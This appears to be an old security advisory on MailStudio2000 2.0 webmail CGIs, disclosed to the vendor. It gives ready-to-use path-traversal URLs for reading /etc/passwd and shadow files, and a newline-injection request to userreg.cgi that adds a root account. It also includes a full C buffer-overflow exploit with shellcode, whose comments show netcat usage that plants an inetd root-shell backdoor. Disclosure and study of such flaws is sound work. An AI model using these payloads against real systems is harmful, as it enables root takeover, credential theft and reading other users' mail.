COMMAND
MailStudio2000
SYSTEMS AFFECTED
All systems running MailStudio2000 2.0 and lower versions
PROBLEM
Credit for discovering the initial 'file viewing' vulnerability
in one cgi, mailview, goes to Naif; subsequent probes by vecna
and FuSyS. Credit for userreg 'command execution' goes to FuSyS.
There are at least two distinct bugs. Any user who can remotely
login to MailStudio2000, can view any file on the system. This
implies other users' e-mail is nomore private, nor is the login
and password dbase, nor the configuration files of the running
system. This has a medium level impact on the security of the
system, as the CGI programs run with root permissions and
privileges, permitting the attacker to look at the passwd/shadow
files, home directories, log files ...
Not least important, all other users' e-mail is readable by the
attacker. Consider this as important, as MailStudio is being
sold to lots of web sites and it is also possible to use search
engines such as AltaVista to search for compromisable hosts,
which run these CGIs.
The worst problem however is a poor input validation in a specific
CGI which accesses the shell to execute a command. Injecting a
single non filtered char, we can make the remote host execute any
command we wish.
1) Read, and knowledge will be thine ...
========================================
MailStudio2000 is a web based e-mail server solution from
3RSoft.com. It's included in the retail version of RedHat Linux
6.1 and has been reviewd by LinuxJournal and Dave's Central. From
3RSoft website:
"Over 10 millions mailboxes worldwide"
It's functionality rotates around a group of CGI applications
contained in the cgi-auth directory of the binary distribution.
While on the homepage the seller clearly states that the
confidentiality of users' e-mail will be preventatively protected,
the developers missed one of the most common problems: check of
user input in jailed environements, to protect the bypass of the
root directory and the examination of other, sensitive or not,
files.
This is exactly what was found here. Seems that every CGI
application in cgi-auth directory contains the same problem. The
server can look through authorized users, so we must first login
with a valid user and password. The problem is, this software is
mostly used for FREE web-mail services; so just register and get
going. After the logon we can easily call one of the CGI,
mailview.cgi as:
mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd
It's interesting to note that simply using /etc/passwd as value
for the html parameter will not work, as the environement has
changed the root directory. The number of '..' you are going to
use changes accordingly to the CWD of the MailStudio2000 software.
In this case simply '/home/sysop/mailstudio2k/'.
Just to show that every CGI seems affected, here is an example:
maillist.cgi?cmd=list&fldrname=inbox&fldnum=1&order=2&searchkey=&search_fldnum=0&page=99999&html=../../../../../../etc/passwd
Why is this important? MailStudio2000 runs as root, by default.
This means /etc/shadow is readable as well. Every users' mail,
via /var/spool/mail/ or ~/userdb/login_name/inbox can be snooped.
/etc/mailstudio.conf will merrily give away the administration
port and the license key, if you didn't have a commercial one.
Once we know the administration password, grabbed from the passwd
or shadow file, we can have access to the sysop menu and even
disable other people's accounts. These problems and attack
options pose a great risk to users' privacy and heavily affect
the security of the product.
(2) Act, and thou shalt be free ...
===================================
This is obviously the worst problem which is readily evident in
this server. The CGI application userreg.cgi is used to register
new users before they can login to the server. The problem is,
anyone can execute it. This CGI simply executes a
useradd -s /bin/noshell -p password %s
The login name string, %s, is filtered out of capital characters,
blank spaces and special characters, so just inserting ';' or '&'
will reach nowhere.
While trying to escape via other chars by using every single
parameter, we noted that the simple \x0a char is accepted, as long
as there are NO spaces in the string. And obviously, in the error
logs we saw instances of the shell complaining for not having
found our %s2 (as in %s1\x0a%s2). So we can just execute every
application we can. This is a really powerful option, especially
when combined with the previous read-all possibility.
The hard point is, we don't seem able to get a workable blank
space to execute more complex command lines. So, while leaving to
your fantasy and personal delight, the right to explore, command
and conquer, we'll just make sure everybody understands this is a
trivial joke, if elegance is not on your agenda:
- simply email yourself, a normal registered web mail user, a
mail, containing in the headers, or in the body a single line
like this,
spj::0:0:S0ftPj2k:/root:/bin/bash
and then
- simply use the faulty CGI to execute something like this,
cat < /var/spool/mail/your_login >> /etc/passwd
to simply put the previous line in the password file. Now you
can choose to login with a normal account, as youi can steal the
password and shadow files, this ought not be a problem, and then
su - to spj. (Obviously you can add more nifty lines via this
e-mail trick ...). Or change this way /etc/shadow and
/etc/securetty ... but we are sure you can easily find ways of
executing a nice xterm back to your X server. Oh sure, here is
the faulty CGI [word-wrapped]:
userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd
There are many other occurences of Internal Server Errors that can
be traced to small problems of input validation which could result
in more serious bugs, and could make the problem worse, regarding
server security.
According to Vanja Hrustic there is also a buffer overflow exists
in userreg.cgi, which enables remote user to execute any command
as root. It is also possible to change the password for system
users, which don't have the password already (like 'operator',
'gopher', etc.). And probably some more (it was pointless going
any further - apps seem to be full of holes).
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
/* http://www.mailstudio.com
* executes command as root.mail
* usage: userregsp [-s retaddr] [-a shellcodeoffset] [-o offset]
* [-c command] | nc <host> <port>
*
* problems:
* usually commandline gets truncated after 42 characters.
* sometimes shellcode might be damaged, to get around this you'd have to split
* command into few parts or move shellcode on different place. (-a argument)
*
* f.e.
* ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080
* ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080
* ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080
* telnet victim 1524
*
*
* Here I found possible stack addresses which might be of some help:
* 0xbfffe6a4 -- when correct `Referer: ....' header has been passed
* 0xbfffe578 -- when incorrect `Referer: ..' header has been passed
* 0xbfffe598 -- when `Referer: ..' header is not present.
* ...
* Mon Apr 24 20:14:31 ICT 2000 -- fygrave@tigerteam.net
*/
#define TALKING "POST /cgi-auth/userreg.cgi HTTP/1.0\n"\
"Connection: Keep-Alive\n"\
"User-Agent: Mozilla/4.7 [en] (X11; U; Linux 2.2.13 i586)\n"\
"Host: mailstudio_server:8081\n"\
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n"\
"Accept-Encoding: gzip\n"\
"Accept-Language: en\n"\
"Accept-Charset: iso-8859-1,*,utf-8\n"\
"Cookie: lang=eng; tnum=1\n"\
"Content-type: application/x-www-form-urlencoded \n"\
"Content-length: 179\n\n"\
"cmd=insert&chk=&template=%%2Ftemplate%%2Feng1&fld1=%s&fld2=XXX&passwd_confirm=XXX&fld4=name&fld5=jiji&fld6=1&fld7=&fld9=&fld10=&fld11=&fld12=&fld13=&fld14=&fld15=&fld16=&fld17=\n\n"
#define BUF_SIZE 1024
char shellcode[]=
"\xeb\x2e" // jmp 80483dc <tail>
"\x5e" // popl %esi
"\x89\x76\x70" // movl %esi,0x70(%esi)
"\x8d\x46\x08" // leal 0x18(%esi),%eax
"\x89\x46\x74" // movl %eax,0x74(%esi)
"\x8d\x46\x0b" // leal 0x1b(%esi),%eax
"\x89\x46\x78" // movl %eax,0x78(%esi)
"\x31\xc0" // xorl %eax, %eax
"\x88\x46\x07" // movb %al,0x7(%esi)
"\x88\x46\x0a" // movb %al,0xa(%esi)
"\x89\x46\x7c" // movl %eax,0x7c(%esi)
"\xb0\x0b" // movb $0xb, %al
"\x89\xf3" // movl %esi, %ebx
"\x8d\x4e\x70" // leal 0x70(%esi), %ecx
"\x8d\x56\x7c" // leal 0x74(%esi), %edx
"\xcd\x80" // int $0x80
"\x31\xdb" // xorl %ebx,%ebx
"\x89\xd8" // movl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xcd\xff\xff\xff"// call 80483ae <callback>
"/bin/sh\xff-c\xff";
extern char *optarg;
void main(int argc, char **argv) {
char buf[BUF_SIZE+1];
char *foo;
char *command, c;
unsigned long retaddr,bp, offset, shelloffset;
/* defaults */
command="/bin/touch /tmp/0wn3d";
retaddr=0xbfffe598;
bp=0xbfffe678;
offset = 16;
shelloffset = 24;
while((c = getopt(argc, argv, "s:c:")) !=EOF)
switch(c) {
case 's':
retaddr = strtoul(optarg,NULL,0);
break;
case 'a':
shelloffset = strtoul(optarg,NULL,0);
break;
case 'o':
offset = strtoul(optarg,NULL,0);
break;
case 'c':
command = optarg;
if (strlen(command) > 42)
fprintf(stderr,"WARNING: your command line "
"might get truncated!\n");
break;
default:
fprintf(stderr, "usage %s [-c command] [-s retaddr]"
" [-o offset] [-a shelloffset]\n", argv[0]);
exit(1);
}
foo=&buf[offset];
bzero(buf,BUF_SIZE+1);
memset(buf,0x90,BUF_SIZE);
*foo++ = (bp >> 0) & 0xff;
*foo++ = (bp >> 8) & 0xff;
*foo++ = (bp >>16) & 0xff;
*foo++ = (bp >>24) & 0xff;
*foo++ = (retaddr >> 0) & 0xff;
*foo++ = (retaddr >> 8) & 0xff;
*foo++ = (retaddr >>16) & 0xff;
*foo++ = (retaddr >>24) & 0xff;
/*
* you can get outside the buffer boundaries here but I don't care. Very long
* command lines would be damaged by shellcode or truncated anyway..
*/
bcopy(shellcode,&buf[shelloffset],strlen(shellcode+1));
bcopy(command,&buf[24+strlen(shellcode)],strlen(command)+1);
printf(TALKING, buf);
}
SOLUTION
3RSoft, developer and seller of MailStudio2000 has been contacted
and informed.